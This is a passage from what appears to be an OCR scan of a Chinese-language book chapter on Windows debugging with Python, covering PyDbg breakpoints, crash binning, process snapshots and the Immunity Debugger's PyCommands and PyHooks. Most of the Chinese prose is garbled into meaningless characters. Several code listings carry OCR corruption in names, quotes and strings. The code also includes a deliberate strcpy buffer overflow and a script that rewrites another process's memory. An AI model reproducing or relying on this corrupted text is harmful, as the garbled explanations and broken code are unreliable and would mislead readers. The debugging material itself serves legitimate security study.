# BEXPAFICFESERS, DETRISBX S
# U5 mREREE debugee MR B WM RY TTX 51 FF
# ¥

self.guarded pages.append (current_page)

old_protection = c_ulong(0)
if not kernel32.VirtualProtectEx(self.h process,
current_page, size,
mbi.Protect | PAGE_GUARD,byref (old_protection)):

return False

# UURZEHT R AT U HER PR,
¥ BBRATE A A R X

current_page += self.page_size

# W AFE ACRERRENFIRS

self .memory_breakpoints[address] = (address, size, mbi)

return True

ZHBMNAFRFJCHAETREANFEHSIRES, WRX KN ZHTH printfOFEEF
— DRI, A BRI A% 45 B Guard page Access Detected. T P 77 15
ERERE— R, S MRV AT SERE BN, BEREE I
BRAH KA R BT IR EAUN S T TRt — N b B, AmLETA
/DRI PR AT LLEREXS LA 09 LKA Gk m Ay 78, F R N 77 B s S ma iy,
Bl S T e, EERT R Ak R AL BRI N AFE, E LS AR B Ol — R ek,
sl A AE (T OR BT AR A8 ) 4
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3 -5 aE\ %

H RAE Windows “F-& T W] # i — 34 & 20 A8 101 2 i i — B, BLERA
(BN ZEEA KRS AR MR EAE R, FRRENYSES T —SEEZNHEE, K
XL RN TSRS E, MRAa8an. BIE SR H R AR T
KT H, RN YA BTOEXR TREAKERMM T/, I BN ZWE g
SR E NG ONT, EXH AR 2RHE T

F— B BA TR VR A5 Windows 5 (B B0 Al B E (1 T 2. PyDbg M1
Immunity Debugger. BT VRAEA 5 A i WL R 2 i) 18 o 8% se B 5 3 UE 2 KB 5 % B PyDbg 1)
JREAEALE], B4R EFEH PyDbg B, U AHZ K. Immunity Debugger f7
A ) UG 7 :X RS AN [A], {H /2 Immunity Debugger Z1324E T 8% 0 5 AA 7] 454 5 o
HE o FR AR 4e] K5 3 7 K K LS X Y T T4 s 13 Bt 2 Pt R H e AT B 3hik
WK SR CEE. AR, 1ERA15%EM PyDbg FFEHIE !
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PyDbg——Windows TH
4 Python 81X 8%

JoRARCERHED TX D, ALK IE 2% 4efT /£ Windows F 4% A Python #)i#
—AAPARARBERARAT., REAMNEB A#HGEA TEX—H R HE, B
PyDbg——— # Windows & T &) 77 i Python 84X 3% . PyDbg 7% &7 Padram Amini /£ %
Kbk 55 8 EAF A R AT 69 2006 Recon K& B4 4k 4 if &) TAZAE SR PaiMei 69400 4A
HEAE, RV AAELLAEA S EAPAEME T PyDbg, XK Pt L I63EFAAT
694K 22 fuzzing MK 35 Taof VAR &) HAAFF L 69— 3K £ % ioctlizer #9 Windows 3K 3 444 3]
K& RAVEARY K PyDbg 6987 AL BB AT AT, L EHRANFHG— XA FHN L
M, Blde. BRAZFH T FHGLE B o/ TIRRE A A P ATk ed — ik
I AR L AG @ fuzzing B XAR L FF PARA RN, AAERMN L)

4.1 P JE b 5 b BRI FE

TE55 3 FR AT e I o]l i ) A AL B R R AL B R A ) R, X
FATH T — RS ThRE M ZE A T, 7£ PyDbg HSEHL—ANH /2 8 %€ X [B1HE el
BT LA — PR S 250 . R ) R AR A B SRl ek &, BT AT LET X
FAVERE R F R FER S B S TR EZ A, A IR IX A R R ) A
PR, R BRBRATTSE T E A AL EE R PAT . AT DLikax 2 5 52 SR R ACHS B 3k
B E R E TR IRAESS, Bl SHAL TR WA ERE, St — P
TRl BRE BN AFE. R BE XORMEET RS, WS i E R,

© Paimei Ji H PRI, SCRSIT A B R BRI 7E hup://code.google.com/p/paimei K F.
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I i I AT H bR .
7E PyDbg " H T v B KW A e HCh bp_set(), HeREUR BT Fros:

bp_set (address, description=*", restore=True, handler=None)

B— NS H address FJ2BATHRF 2 8 E K0 BMT BT E ) A A7 ik, 2% description )2
AAESE, RAT DGR eSS B R R E T ME— K 2. 2% restore FYHERE T
XA W R — R R B2 AN ER, SCENOGEAE - RPEME. 112 % handler
i T AEIX AW g b 2 e Bl R A R B . BT 3 Lo 23 (P18 R BAB 2 Bl 31—
4~ pydbg KHSEHIE N ME— I ASHUE. {EIXA pydbg SE41 0 S e A\ (] i b 2 451 75 1)
H—2Z, Bra5=ni LRI R UGB A XHE R CeEX AL g i, b
GERRATT 00 B8 Ak B ) FE 7 R -

AR AR FRAT T L SE B — /AT B 5 SR [B1 of BOK SE e — N LB AESS, X IRBRATIE 2
EFEAEZ AT SR 3 R IR printf_loop.py BIAE 5 AT VA . BATH H b5 id %
TSR AL & counter ETGBRTEHA45H while 1 $0AT B8 520 HUIE, JF AR ZH7EIX
M EES N BB Z AT N T 1 B 100 Z 78] ) BEALEOKR B X A T B 1 .
FRA 1 P 300 e 3K A Oy B ) ) - BT B ) R R 7R () e SE BN H AR o S — N s

FYR IR, CFUARREY, X FEERE KT BZELERAIEIE — N B Python
BIA, ¥ H A4k printf_random.py, FFHALLFARHY:

printf_random.py

from pydbg import *
from pydbg.defines import *

import struct
import random

# IXRRRIRA B s S [ b 2R R
def printf_randomizer (dbg):

# MR | (ESP+0x8) M —MIFAMOBAM, XAMEFRIHE8AHE
parameter_addr = dbg.context.Esp + 0x8
counter = dbg.read process_memory (parameter_ addr,4)

# MBAVEA read_process_memory BR¥N, BT BIRE E{E AR RE—4
# TR B R, IR RN B 2 20 S X ST AR 0 4 1
counter = struct.unpack("L",counter) [0]

print "Counter: %d" % int (counter)




Python & 1§ F—— 2. % 5 i &) T#42)F ¢) Python HAL L il

# AR R B LB R XA B AL (4T 6 R — 2 A SR,

# 1XPE A fE¥ U IE MR RS A BEFR G A 7k b

random_counter = random.randint(1l,100)
random_counter = struct.pack("L",random_counter) [0]

# AEBARM B BETLEOF S R AT RE

dbg.write_process_memory (parameter_addr, random_counter)
return DBG_CONTINUE

# LH— pydbg %
dbg = pydbg()

4 MAMIA printf_loop.py FIHERE PID 1
pid = raw_input("Enter the printf loop.py PID: ")

# o R AAR P BX A BEE b
dbg.attach(int (pid))

# WEM AL printf_randomizer BB

# A by [ ) Ak 2 R

printf address = dbg.func_resolve("msvcrt", "printf")

dbg.bp_set (printf_address,description="printf_ address”,handler=printf_
randomizer)

# PREHAT H bRt
dbg.runi)
BRAE M A 24T B J3 3l printf_loop.py BIA, 3 H Windows {E45E EEAF 10K T 5 LA
f] python.exe BEFE (K] PID {8, #:47121T printf_randomized.py B4 34 AR A2 F ) PID {H.
PR B 5ER 4-1 FRRRLIEH 4R
F4-1 ARBSHFHEOREAS
o A8 1 B 555 IR PR (5 & R

Enter the printf_loop.py PID: 3466 Loop iteration 0!

Loop iteration 1!

Loop iteration 2!

Loop iteration 3!

Counter: 4 Loop iteration 32!

Counter: 5 Loop iteration 39!

Counter: 6 Loop iteration 86!
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ZR

T ) i 5 R

U L R o e 5 R

Counter: 7

Loop iteration 22!

Counter: 8

Loop iteration 70!

Counter: 9

Loop iteration 95!

Counter: 10

Loop iteration 60!

M E 7 1 it 5 SR AT DA HE B -
AT R AR R T B N T BAR SRR W R T

1 H ¥ A 7E whilel 1 5 45

LR S
— AN, B R 2R TR T R

23— AR EN 4, IRV ZEFEE F printf_loop.py A7 04T 28 4 815

K2 AT A RIS, H
32, A
T v 8% 48 & 0 5 SE i,
. X2
A B 2 2 R 28, DI R

E 7 A Y. i B A RO(E 4!

AR L TR B UM R R R BT, e ) AT R
M ERBM AR FMHRAE

EYHTEHRGEHPAITERL 4 RN HATSHO B ETERE
M RATAAEE H AT L 25 2
I 7E vF Z 2% M 4% B br kRS Anufum

F IRCRTE
A~ Bt H1 %
Tt ey ] G RE —
B 25 P AT ® A  H

' E X EAE.

4.2 LN PRI FE

g — 2R B U 1) SE AT 1R) 1K) P A7 e R DL At B R AN A i O S i) A AE

i, B3I RFENFRIEFHMRE. FEEARENTFRENEFERARECTENE KX
i BIA 2G0T I null T8 B BL R HARR R M FFER . WA R, B3
ZEAFBREFSERRNE AR E, FEAEEAFRELE FERRNPEER#H
T EAF A 6 URSS:

”ﬁ' M EA T RERE FREER S RAE T AN FEREN, @IS A ST r b

s S AR AR PN LRI A PG R, Bl b, FAEE
-ﬁ*ﬂlifi-ﬁ%r’ﬁﬁ“ﬁflf @, RXEGEEX TR B REE, N1 UL S S i F
PRl & G0 it dIsh TR L.

PyDbg 24t T — >+ 40 (E 5 01 & BOH T [a) P U A8 T M — N ARk 4 F 3R 57 0 b L 431)
2, stSh PyDbg i3 T —41 T A s BUH T4 VR4 R B 615 8 . BRAE B sEik 3R
sk gt —A~ o 1, (t'iif"iid'liﬂ’HﬁMiLPﬁﬂ' 28 C BRI strepy )RS Mt — 4 22 i
DX R FEIXZJ5, BRATERFBIEE— AR 4% PyDbg B K B n_E B ATT A0 a8 1 7
Fﬁk’r%“&iml-#i%J#ﬁ{%ﬂﬁfmZtﬂ&tfﬁ BAVENIR B AENTF, G128 —AFHN
Python 3 ff, 444 buffer_overflow.py, RJ5#ALL T,
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buffer_overflow.py

from ctypes import *
msvert = cdll.msvert

# 25 TRAS 70 L A N TRl B N b EERR . 7 B ndd fE 5 B S He A R Bk gk Ak

raw_input ("Once the debugger is attached, press any key.")

# GUE s MENKE HRZEMNIX
buffer = c_char_p("AAAAA")

# FHT-#f 05 R

overflow = "A" * 100

# PATHE

msvcrt.strcpy (buffer, overflow)

MAAERMNCELH T A% AN B a4, B FRBd 18R access_
violation_handler.py f¥] python {4, A LL F{CY.

access_violation_handler.py

from pydbg import *
from pydbg.defines import *

# 57 pyDbg HESR () T HLFE

import utils

# AR BRATA AL N AR A 2R

def check_accessv(dbg) :

# 11K BB first-chance exceptions®
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_ NOT_ HANDLED

crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()

dbg.terminate_process ()

return DBG_EXCEPTION_NOT_HANDLED

© BEE: ENFFRERIERTFARMTR D0, B RO P2 E TG BT 2 iR e Pk, Wy
R UFAE 5% . ZHHUAE debuggee FFHHBATEME KIS ZAIRAE K. LhE EER A int 3
2
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pid = raw_input("Enter the Process ID: ")

dbg = pydbg()

dbg.attach(int (pid))

dbg.set_callback (EXCEPTION_ACCESS_VIOLATION, check_accessv)
dbg.run/()

AL IRAT Y SEiz2 T WA buffer_overflow.py Jids8 T 5 2 AN HIFEA™ python.exe i &
11 PID {H, HPrREREAEHRAT R S22 ESMFMIERRANE, RAESA2RNH
Hatann A 2P ATE H . B BRAIMAT access_violation_handler.py T4 35 A 8 44
FEFFI) PID {H. ZEVRITAAAS N L B bRt fR )G, 26003840 B A< 57 J& i) A A 2161 & v AT
B, EEIREERSYIER 41 AEHBUGH .

513 4-1: PyDbg TAYT R &% crash_binning()Brifi B9 HE12 iR 9B &5
(Dpython25.d11:1e0721c8 mov ecx, [eax+0x54] from thread 3376 caused access
violation
when attempting to read from 0x41414195

@)CONTEXT DUMP

EIP: 1e0721c8 mov ecx, [eax+0x54]

EAX: 41414141 (1094795585) -> N/A

EBX: 00b055d0 ( 11556304) -> @U"'" B Ox, 0 )Xbe@|V'"L{0+H}$6 (heap)
ECX: 0021fe90 ( 2227856) -> !54|7|4|@%,\!SHB|!0OGGBG)00S\o (stack)
EDX: 00aldcb0 ( 10607712) -> VO w'W (heap)
EDI: le071cd0 ( 503782608) -> N/A
ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: lelcf44B8 ( 505214024) -> enable() -> NoneEnable automa (stack)
ESP: 0021fe74 ( 2227828) -> 27 BUH® 7|4]@%,\!$HB| !OGGBG) (stack)
+00: 00000000 ( 0) -> N/A
+04: le063f32 ( 503725874) -> N/A
+08: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
+0c: 00000000 ( 0) -> N/A
+10: 00000000 (¢ 0) -> N/A
+14: 00b055c0 ( 11556288) -> @FE@U'" B'Ox, 0 )Xbe|V'"L{0+H]$ (heap)

@disasm around:
0x1le071lccH
Oxle07l1lcca
0x1le071lcchb
0xle071lcce
0xle071lced
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0x1le071lcce int3

0x1e071ccf int3

0x1e071cd0 push esi
0x1le071cdl mov esi, [esp+0x8]
Ox1le071cd5 mov eax, [esi+0x4]
Ox1le071cd8 mov ecx, [eax+0x54]
0x1e071lcdb test ch, 0x40
0xle071cde jz O0xle071cff
0x1e071lcel mov eax, [eax+0xad]
Oxle07lcet test eax,eax
0x1le071lce8 jz 0xle071cf4d
0xle07lcea push esi
Ox1le071lceb call eax
0xle07lced add esp, 0x4
0x1e071cf0 test eax,eax
0x1e071cf2 jz 0xleQ71cff

@sEH unwind:
0021ffe0 -> python.exe:1d00136c jmp [0x1d4002040]
ffffffff -> kernelid2.dll:7c839aa8 push ebp

X B A B BNB R TREFEMENGFER. BHRERE —BrORKREMT R
AR AE T A ERAF S 5 B R 4 452 LA BOX 48 2 BT Sk B E A i DB ERA B . 31X R 4w
AN RFEARHER, S0 4997 RE ARSI TR BE PRG3R T —
MBEFHER . MHERE @ LT XHMERFR, XAREI RN A &7 M
H, HPEEARINFEMNEE AR BAX #i{H 0x41414141 FH i (0x41 R KEFZREA K
FANHBEGIE ), BEAPRATETT LA B ESI A frasdi i — e FiE A RKFR R, FRFF
R IXN R RS AW TR ESP+8. HIH MG HHE =H2@ & B T A& B B F:4
FIA4% “IC” FR2 A0 —E el B R FARE . BF—2@ 8RR it
A —Z) B b5t FE 4 B 5 Frid it i g S5 #0753 F2 (SEHD M3,

BRAEPRTT AR BI7E PyDbg OIE —/NEF MR F A ERIRERE — £ 48 MmN 5556
3, XAMEA R AR AT CASE BRSERR B AR () B sh ik AL B, FFFE XA P SE kT
JABERR I — R “B 7 TAE. 8T RIBATEAE PyDbg &4 () 3 F2 4 B S U Th e k44
#— A HEEAIR.

4.3 Rtk

PyDbg HEZEFY T —NEREMITIAE, WATIRZ W IMBGHFRI . PyDbg FIXAMFFHEAE
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B YRAT LAZE S — A 2R R 45 0 B AREERE,  FFAF U A BERE AL IX — I 20 1K) B A7 P A7 080
WA, REERKEXMNERHPITRE. EREHEE—ANZ, WA ED H iRt
FESREBR B AR — W ) (A 958, JRATT T LA B o P -2 A D ) R e e 0 R B %2 2 il
BRI A IXAMEF LRI () S A 3 R B 0 B R A 95 e b ] LA R RAR K
HIfER .

431 IRELHIZIRER

Frid SRR o, 1 & 2R BRATTX H AR R TE 5 — W U 20 B Ak (R R S B it —
MERER. ATHEINEREE KRS, AT ZIREE bRt f2 8 i pr G r 2k
B ES®—AEREE& B NK CPU EFXfEE, HAh, BATE BRI B britfE v pr g
FIAFIURE S HEEGEER. ERMEN THAXEFERE, & N A L f
AP IX L5 B LA 30 Sk A B B4 F i 2.

TERAVERDCGH R Z 0T, AT 16200 15 SEHE R T O PATER R, AR 1 AE BRI FE B
FEPR) L AR AT AT B R B R S R A A . 7E PyDbg 3R ATTAE A B8 £ suspend_
all_threads()R AT A H br3HF2 BT @ 02672, 10 2B R K E T A R R HATIR A, 3847
N WA resume_all_threads(), —NRWILLHI L. ERIMTEFALEEREZ G, BA7T
HELF R R 8L process_snapshot() B[l i) KIh 5k, XA EOK H s W BAMRGF ST M
FHR AL 3CE B AR — N ZIFI A NG B . FERIhRBGH R 2 5, A1 Bk
HPATH AL . WEMEE I Z], RS ARERE £ 2 /T 4
R, RATEAFREAHRITE WS, FHE R K2 process_restore()J& F % 2 4T
i iE. — BRSBTS A, B At A 25 B e i P s — 8 — e
RERE. XER—MEEDHLRE, FRG?

AT WA PR B e, LRI — /MR AE A7, F P R
R it — UG BOR S RGH AR P, R — R R AR R TR R . DA —
/™4 snapshot.py ] python 3L, SRJGHIALLFALHD:

snapshot.py

from pydbg import *
from pydbg.defines import *

import threading
import time

import sys

class snapshotter (ocbject) :
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def __init__ (self,exe_path):

self.exe_path = exe_path

self.pid = None

self.dbg = None

self.running = True

# PR AR, RN —DMERE ISR, H2 BRI pID R B 5o
pydbg_thread = threading.Thread(target=self.start debugger)
pydbg_thread.setDaemon (0)

pydbg_thread.start ()

while self.pid == None:
time.sleep (1)

# BAERANIAR R T pID (HLHA HARERE A IFIRETT, 1EIRATITRE B — e sk
# HEFEHRIR

monitor_ thread = threading.Thread (target=self.monitor_debugger)
monitor_thread.setDaemon(0)

monitor_thread.start ()

monitor_ debugger (self) :
while self.running == True:

input = raw_input("Enter: 'snap', 'restore' or fepiatt g
input = input.lower().strip()

1E anpub s Megr s
print "[*] Exiting the snapshotter."
self.running = False
gelf.dbg.terminate_process|()

elif input == *snap":

print "[*] Suspending all threads.®
self.dbg.suspend_all_threads()

print "[*] Obtaining snapshot."
self.dbg.process_snapshot ()

print "[*] Resuming operation."
self.dbg.resume_all threads()
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elif input == "restore":

print "[*] Suspending all threads."
self.dbg.suspend_all_threads()

print "[*] Restoring snapshot.®
self.dbg.process_restore()

print "[*] Resuming operation."
self.dbg.resume_all_threads()

@ def start_debugger (self):
self.dbg = pydbg()
pid = self.dbg.load(self.exe_path)

self.pid = self.dbg.pid

self.dbg.run()

® exe_path = "C:\\WINDOWS\\System32\\calc.exe"

snapshotter (exe_path)

BATRE NP RO RSB LFE G sh Hbedb . AT RS 5 88 %
HAAC MO LR, PR ML 2R T2 S R ST Be A 1K T4 A 110 Bl it 5
iy, DA RA A R R a0, TH AR RO LA s T HR . — i 54k
PR T — A0 PID H®, TATHFRE —MHrEEHFEERMNMBHBAD. #TF
KEARMENEBRRIE MW, BFRHAERMNPEEG: RERERRE, %k
BREREAE LR IHAT. ERWMRR, FRG? 5 TR EWHE 284
RERR RO RS I ] TAE ), ATTPRFEFE Windows B 37—/ N ETE S S8 FE b &
MERAX RGP0 AAEIZASTH SRR ob B R A0 — 3% o (A, B (R A1
Python A (3% & H A -2 snap, RJ5 LM Lo HUA R RE Bk 9527 il
B BATA T AERATE Python JIAFEH] & 4N restore iy 4, RN 24476 3 H 2R 10
GUI F1f1_E B S 7= (0 807 N A WS 3 1 Jg S S b el 00— i ) F R ! R IR R
PRAT LA R o AT B R A — B AW AT AL S WL, RS IR G — 44
B LR I F 3 77 0K HERR T B B SE AR 2 R - BLELERATIEIX JLAS PyDbg s
PGS Aok, HILAGIE A fuzzing WK BY T H., &0 LU R BhIRA T 52 L KR o
[T LA B2 B Bl A R i Ab B
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432 LCEE5ES

FHBRAMC LS T PyDbg LA A FHIRFE, FEATT P RATR MR — P THBEA
Sk # B R IR FH AR A v (R 8 e A AE R FRUBS e o G 2R R R A A7
fE “ZAWRIRTR) 7, I R B AN A G F A 52 0k B R P D A X074 8 il LA
B NPT RAER . ERMMTRERFS, X2 BORSZ 2R A “ 7.

AT T H BACREAE N A7 b 8 X B A7 7E %2 4 XU (1) R BOF D % T B PR EFEN IX 2 Ry
B —kiRM. DRI “falesr 77 KRR, FATRHLE e
e LS AR RECR A R R EEED, U fEREU, B
bR H3 Buia A OL A ZE IR AT DA XA R I i g 5. A — AR N R A
HARERE b A B, FAH) T RMARKCHRE EA 2 RHdr — K ER R8O A, A

RAJTIR ) Je OB AT I S A R AR M RIC A R, R BT REIXA R EA A
PSR SR ATIA B Z AT P BeE () PR N BCE R SR AIHEA “fabl” s
FEE E B R m) B AR N IR Y A4 0 Bdf 9 A AHICEC Y, b4t AR e B £
P [ R E4¢ W 5 785 A 208 e 8 A 2 i A\ e SR B b S IR e i 6t XA 4
s N R R R

IAELS IR FHRERE S, & —-4 4 danger_track.py [f] Python B4, FFHIALLF
(MTF

danger_track.py

from pydbg import *
from pydbg.defines import *

import utils

# R PR A R URZ S T LB RAT 64 1 B R R
MAX_INSTRUCTIONS = 10

# XEARE —MERNFIR, fRa] LARYE B O % 50 N 5E 2 1 sk 3
dangerous_functions = {
teEbropy® o "mavert dllr,
‘strhncpy? o fmavertuigdli it
msprintfT - mevert dile
"vsprintf": "msvcrt.dll”
}
dangerous_functions_resolved = {(}
crash_encountered = False

70

——




% 4 ¥ PyDbg—Windows T #) % Python X &

instruction_count
def danger_handler (dbg) :

# BROTBERE ERAETEIH K, @R Rk EHSf RS, RAOHERIUA esp
# B EsP+20 MIFTAME, XM ZAT LLREEIRNE 8 I(E Bk 2 X LB M2 B3 P
# ORULR AT

esp _offset = 0

print "[*] Hit %s" % dangerous_functions_resolved|[dbg.context.Eip]

while esp_offset <= 20:
parameter = dbg.smart_dereference (dbg.context.Esp + esp _offset)
print "[BESP + %d] => %s" % (esp_offset, parameter)
esp_offset += 4

dbg.suspend_all threads ()
dbg.process_snapshot ()
dbg.resume_all threads()

return DBG_CONTINUE

access_violation_handler (dbg) :
global crash_encountered

# RERFRET, ANBEREAEFRRET )
# AEBOXASER T )RR, IR S AT — YA i I o 8 A A

if dbg.dbg.u.Exception.dwFirstChance:
return DBG_EXCEPTION_NOT HANDLED

crash_bin = utils.crash_binning.crash_bkinning()
crash_bin.record crash(dbg)
print crash _bin.crash_synopsis()

if crash_encountered == False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered = True

¥ RAVEE— D REIRE BN BB RITRE

for thread_id in dbg.enumerate_threads():
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print "[*] Setting single step for thread: O0x%08x" %
thread id
h_thread = dbg.open_thread(thread_id)
dbg.single_step(True, h_thread)
dbg.close_handle (h_thread)

# BAEWEATIT A ZERE, R REGEHLY gk single_step_handler Z-FEHFREE

dbg.resume_all_threads()

return DBG_CONTINUE
else:
dbg.terminate_process ()

return DBG_EXCEPTION_NOT_ HANDLED

single_step handler (dbg) :
global instruction_count
global crash_encountered

if crash_encountered:
if instruction_count == MAX_ INSTRUCTIONS:

dbg.single_step(False)
return DBG_CONTINUE
else:

# RICH T— NP iirike
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\tO0x%08x : %s" % \
(instruction_count,dbg.context .Eip, instruction)
instruction_count += 1
dbg.single_step (True)

return DBG_CONTINUE
dbg = pydbg()

pid = int(raw_input ("Enter the PID you wish to monitor: e g
dbg.attach(pid)

#OCRTIARA R RS, I8 B
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func in dangerous_functions.keys():

func_address = dbg.func_resolve( dangerous_functions[func], func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set ( func_address, handler = danger_handler )
dangerous_functions_resolved[func_address] = func

dbg.set_callback( EXCEPTION_ACCESS_VIOLATION, access_violation_handler )

dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler )

dbg.run()

(EIX BACH N B A T AR LE R BBV R BT EF I T, B 30 Brid B i K3 4
BEE7EZ AT PyDbg A5G #2 th A8 VR4l A8 . MUX AN A 280k ) e e O Uk
SEFE ML SR AR B N R e R AE A AT A3t &, ZEBHIn BT iR 8 i 28
Ja,  [n) B AR PR AR AR BEBUE AR A o i ) Al B, B S AT nr LARY 36 T R A
danger_tracker.py /& UPRFERAT T B T e 410 “ Fdkos .

MARMCLEEL T —BBLARE, WHIRN¥EET PyDbg Frid bt —M 55k
W AEEE . W URAT I, eSS A BHIAS PR b e RO ) — A8 R B A — b A R K1
11, R A TIRE AL — A e S X M — A2 10— U AR BT
e AR B TR R AR AN P BRI A S A N B A ARG SR S B . T X R R R E A
A F 3K T A, Immunity Debugger T80 THE A [ R8: 70 25 A< 9 3h 2 3 18 88 0 B
6 S TH AR 2 ) B — R 2 .

@© — LRI HERR A% H SE B 7T LAYE WarFTPD1.65 R3], #R{U5#R 77 LAM http://support.jgaa.com/
index.php?cmd=Download Version&ID=1 ' F#iX/™ FTP fig % 2.




£ 5% Immunity Debugger——
AR SR B e (IR

3] B A A bR MNFreF il T A6 — AR E, FF 1AL T —4e PyDbg—
— A A K F oG 46 Python 83X &5, 122 BH 4% R42 48— T Immunity Debugger iX @25 7
Immunity Debugger & — M T EGBHBRA P Rd, FINERE TESHIERABRLY
Python %4 LB &, % 110 Theik iR A AALF 69 T &, 4680l RAEIE A B R & Sk 4547
Immunity Debugger A A T 2007 4, 75 Esh AiFXA kL —ABRXOGBESIT T
STF—W, CEEMFT —E25HE T HE L Python B H ik, TH THBKAMNLH AN
& o AR ) LA B R P 8 B AR AR B AN e A & Immunity Debugger &) B R-d&
FHANF, MEEMNEE A TEL exploit (#WHFA AFRF ) FEEAMP G4h2—E T
Immunity Debugger &+ 4 &3, HIMREN A F) Immunity Debugger 4o fT# &4 A sh1L 4%
it T & A P 69 BRI A2, B S iE R4 Immunity Debugger il A1) 33842 e

5.1 %% Immunity Debugger

Immunity Debugger ] % %% k73 I 2 0t W I EE AR ZHF -, (BT A 2 Immunity Debugger
IR B — MR 2 3% . http://debugger.immunityinc.cony/.

PRI i 16 ol AR AR IR AT I AT, B AER e B AT T ke Pythnn 2.5 L
K#F. 4 Immunity Debugger (%320 H 47 T Python 2.5 (%3, HESUEALE
LB AVREB R . — BARTE T %<3, Immunity Debugger B AT B i 28 5 7% ()
Z= bt .

@© 737 E Immunity Debugger FIHEASCRF LR —28% WA i€, D71 http:/forum.immunityinc.com.
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5.2 Immunity Debugger 101

fEFATS immlib (Immunity Df.,buwk_er Fit b7 (1) Python FE, F T B4 46 3K 33X 3 i
AR ¥ EATE 2 0T, iEBA T4 K T Immunity Debugger #H P BRI 1R
85— 4T JF Immunity Debugger I, RN 1% 240 5-1 Fras i B g 51 .

= fmmuniy Debiger <[P} i e

W hich KDz ue
g baters {FPUL

l

¥ 5-1 Immunity Debugger 1] 3 5[

RAT DU B ) = R a0 o AN EARR . 2 TA LA REIRA R, Hix
REFR TR BV e 5 AR e ek B G2 A BN 27 fF 88 b, v 38 FH 25 77 2%
PL R AR R ) CPU AT b4 BonfEsbAb . A7 T2 F 0 B A2 WA Al AR, it ix
B AR AR AT DL 2T 4R Al b St A N A AL T4 R R HERR T AR,
R HOR A A ERE BASE E R T ok, R TR R A /55 SR B (b in BT i) 4
Windows API BB &0, 1R¥EHE BT S 0 IRATE BT H &Mk LS EI B E. 7 TR
IR 4 B L AR 2 AT A 24, Immumly Debugger #t7¥ WinDbg KUk H1dr 4, IR
AT LAFE B3 A WinDbg iy 2k 45 6l A0 8% , X B 08 2 34T PyCommand 4 [ 75, %
T PyCommand )R B2 BB AE ML EFH 4.
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5.2.1 PyCommand s %

PyCommand 4 J&/R¢F Immunity Debugger 44T Python fCHSY™FE [ 1 EiEE .
PyCommand fiy&Aid 20k T #H B P ER S AT S FMES (Bl r ey reRdl. i
b, AR HADE FIAShEE) MAFES S0 Python A, AT RE#EMMAT, (£
/™ PyCommand i 2 A AUMIE R 2 G TG . LUF R AR R e T — ik
AX[f) PyCommand #7247, VR0 ELEAE O ZBUER H 161 B A PyCommand 74 :

from immlib import *
def main(args) :

# LH4k— immlib.Debugger X%
imm = Debugger()

return "[*] PyCommand Executed!"

{E—4 PyCommand )55 Bt FE IV 2936 2 AN JEA ) &4, BHEMDLIUE L1
main(O R EL, X main BRELINEEZ > Python FI| R XS AE A Z%, AW PyCommand
k28BS hiX —F R FEN . IR, XA main() Rk UL BE AT 5EAH AT %5 2
IR [l — AN E R B AE, XA/ AR R A AT 52 B 2 o 8 B s 76 A8 Fr i R4 .

PR B AT R — PyCommand Z B, R FEMN S8R5 2 X M A S O AF T
Immunity Debugger %% # 42 f) PyCommands H®&2Z F. MERITE T IHAMBA ST, 7
NGEZ ATFA M SFE A —NENS, HERMASCIR AR, W FRR:

V<R AR

— BRI R R, $5E f A RD 4T .

5.2.2 PyHooks

Immunity Debugger P75 T 13 FpA A WU 81, FREERT CAFEIR AT IE 1T () B4 of i
IXLeE 5, 1A LAFE Immunity Debugger #1217 #2155 7 il ik PyCommand i 2 KA B84 1 .
Rl )2 Immunity Debugger 5 #-28 n] L FAT 18 FH 1) 81 bR 24

BpHook/LogBpHook

AX PR AN R AT DAAE DT s dr P SO, e NIMIAT M T B T A2 e A B

@ #RETELA http://debugger.immunityinc.com/update/Documentation/ref/3k B f7 ¢ Immunity Debugger X &t
Python J ) SE 8 SCRS (5 & .

76

e




Immunity Debugger—— # # % 69 & 4+ it

* BpHook # fith & i+ 47 {5 44T debuggee #tFE, 1fl LogBpHook £E 41y . Ja F & ] #L
Hh GE S H prdE R AT IR .

AllExceptHook

(EAar R AEAE HARERE b ) 5 % S04 0T DU R X — KR 1

PostAnalysisHook

(E VRS A — N IR R S i A TAE 2 )5, 13X — 28R () 8+ B mT g A A2
PRa] fie A B8 7E A 1k A 58 UM 5 T BEER A A B #E 2 5 RE8 B 2 Rl — Se B S R A i T
T, XTI IERAN T HBRWEX— TR F&ECER— e
A immlib [ fif A g8 B LA B A A B2 iy, H ARACRS AT AE ) — eI (48 nT AT 304
W7 54552 Immunity Debugger (K] 5347 .

AccessViolationHook

X R eAR vk U ) S R AR g A, XK1 BGE R TAE Fuzzing 3K
o R IRATAEIR G B

LoadDLLHook/UnloadDLLHook

X2 ()8 2 F DLL #0048 0 48 i 4 fah %z .

CreateThreadHook/ExitThreadHook

X R e DR O 8 sl 5% 2 N # ik .

CreateProcessHook/ExitProcessHook

IX— R R AE H bR A ah allaB 22 I fik %

FastLogHook/STDCALLFastLogHook

SRR by P A B M GARD B A AR AT TEE 4 T e 2 i B A
] B AR, DAl YN EREE T A F e (s A, XPIR AR FHERH T3RA
B B AR P AR I pR B . FRITTKFAESE 6 E P g X P A 7R 5 K .

HATLL LogBpHook A6, AT LLIELLF 45 200k A B S X—4 PyHook #J1:

from immlib import *
class MyHook( LopBpHook ):

def - anic o (aelf ):
LogBpHook._ init_ ( self )
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def run( regs ):
# 58T Ak R R BT IR AN B

A4k A& T LogBpHook K HHi{REH T A E run(), —HIXMEFH AT, HEE run()
K7 — N ME— K12 8 regs. regs & Python F B &, & A &EF 4 HEE R CPU
FaARPHM, AT S EREREBEOIPER & HEBUE. R0 LUl A& &
1748 2 FR KV ol A1 . B B A7 28 4EL, 0 R BT

regs["ESP"]

BRAERRATRT LAEFEAE—/~ PyCommand 2 5E X H O, VR{E AT DAL TG 25 %
- 27 BAT A4 o BREE AR T LLE R 1 10h% % B T Immunity Debugger %% B 12
(K] PyHooks H3%2 F, XFE/ESHR Immunity Debugger 3512 F, EAIMSEFES B3,
